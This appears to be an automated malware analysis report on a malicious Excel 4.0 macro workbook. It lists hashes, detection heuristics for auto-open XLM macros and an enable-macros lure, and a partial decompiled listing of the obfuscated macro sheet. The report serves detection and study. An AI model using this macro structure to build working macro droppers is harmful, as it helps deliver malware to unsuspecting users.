Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 1148b7b530bd839a…

MALICIOUS

Office (OLE)

31.0 KB Created: 2021-01-28 12:00:57 Authoring application: Microsoft Excel First seen: 2021-02-19
MD5: 6757fe660dd418fdf4257a485e082af1 SHA-1: 976414c1701927016c5049b7bf806335e4d81e29 SHA-256: 1148b7b530bd839a98124d7d545951c3dd7c5824433e9e8d82dd0e0828416f46
160 Risk Score

Heuristics 4

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 3478 bytes
SHA-256: ae30bc9db63b8075d7e1c691a2a5d0381a652da1b5add0fd06a0ae22718a4986
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     19 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  WtBGCAtFUZ
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!B107 
' 0018     28 LABEL : Cell Value, String Constant - cefwQJ len=7 ptgRef3d  WtBGCAtFUZ!G50 
' 0018     26 LABEL : Cell Value, String Constant - cGHcXOIj len=3 ptgInt 0 
' 0018     22 LABEL : Cell Value, String Constant - cmlp len=3 ptgInt 0 
' 0018    561 LABEL : Cell Value, String Constant - Ecte len=8 ptgArrayA  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x00\x11\x00\x00\x00\x00\x00'
' 0018   2055 LABEL : Cell Value, String Constant - EqgzQx len=8 ptgArrayA  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x00%\x00\x00\x00\x00\x00'
' 0018     30 LABEL : Cell Value, String Constant - HJDReJXn len=7 ptgRef3d  WtBGCAtFUZ!F44 
' 0018     25 LABEL : Cell Value, String Constant - IHOIsLj len=3 ptgInt 0 
' 0018     26 LABEL : Cell Value, String Constant - JHVf len=7 ptgRef3d  WtBGCAtFUZ!J41 
' 0018     21 LABEL : Cell Value, String Constant - kSnRvc len=0 
' 0018     27 LABEL : Cell Value, String Constant - LdpSQ len=7 ptgRef3d  WtBGCAtFUZ!H50 
' 0018     29 LABEL : Cell Value, String Constant - pknvEcW len=7 ptgRef3d  WtBGCAtFUZ!A43 
' 0018     23 LABEL : Cell Value, String Constant - qlDre len=3 ptgInt 0 
' 0018     32 LABEL : Cell Value, String Constant - sgsZlPhpSJ len=7 ptgRef3d  Sheet!B59 
' 0018     27 LABEL : Cell Value, String Constant - sSQHm len=7 ptgRef3d  WtBGCAtFUZ!D50 
' 0018     29 LABEL : Cell Value, String Constant - tnEtTdV len=7 ptgRef3d  WtBGCAtFUZ!C56 
' 0018    122 LABEL : Cell Value, String Constant - tpqHVR len=8 ptgArrayA  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x00\t\x00\x00\x00\x00\x00'
' 0018     28 LABEL : Cell Value, String Constant - tWRhoB len=7 ptgRef3d  WtBGCAtFUZ!E41 
' 0018     30 LABEL : Cell Value, String Constant - VzlxurjJ len=7 ptgRef3d  WtBGCAtFUZ!I50 
' 0018     29 LABEL : Cell Value, String Constant - XvzTOVC len=7 ptgRef3d  WtBGCAtFUZ!B52 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' Sheet,Reference,Formula,Value
'  Sheet,E40,"ABC",""
'  Sheet,J40,"ABC",""
'  Sheet,E41,[],""
'  Sheet,J41,[],""
'  Sheet,A42,"ABC",""
'  Sheet,A43,ROWS(Ecte),""
'  Sheet,F43,"ABC",""
'  Sheet,F44,[],""
'  Sheet,D49,"ABC",""
'  Sheet,G49,"ABC",""
'  Sheet,H49,"ABC",""
'  Sheet,I49,"ABC",""
'  Sheet,D50,[],""
'  Sheet,G50,tpqHVR,""
'  Sheet,H50,[],""
'  Sheet,I50,[],""
'  Sheet,B51,"ABC",""
'  Sheet,B52,ROWS(tpqHVR),""
'  Sheet,C55,"ABC",""
'  Sheet,C56,Ecte,""
'  WtBGCAtFUZ,B59,"A"&"B",""
'  WtBGCAtFUZ,B60,[],""
'  WtBGCAtFUZ,B62,"SET.VALUE(B90,"")",""
'  WtBGCAtFUZ,B65,"cGHcXOIj",""
'  WtBGCAtFUZ,B70,"DEFINE.NAME("cmlp",0)",""
'  WtBGCAtFUZ,B74,[],""
'  WtBGCAtFUZ,B77,"cmlp",""
'  WtBGCAtFUZ,B82,"['B90', 'B90']",""
'  WtBGCAtFUZ,B85,"IHOIsLj",""
'  WtBGCAtFUZ,B88,NEXT(),""
'  WtBGCAtFUZ,B93,"['B90', '"WtBGCAtFUZq!R"']",""
'  WtBGCAtFUZ,B96,"kSnRvc",""
'  WtBGCAtFUZ,B101,NEXT(),""
'  WtBGCAtFUZ,B105,RETURN(),""
'  WtBGCAtFUZ,B111,"DEFINE.NAME("kSnRvc",118)",""
'  WtBGCAtFUZ,B117,sgsZlPhpSJ(),""
'  WtBGCAtFUZ,B118,HALT(),""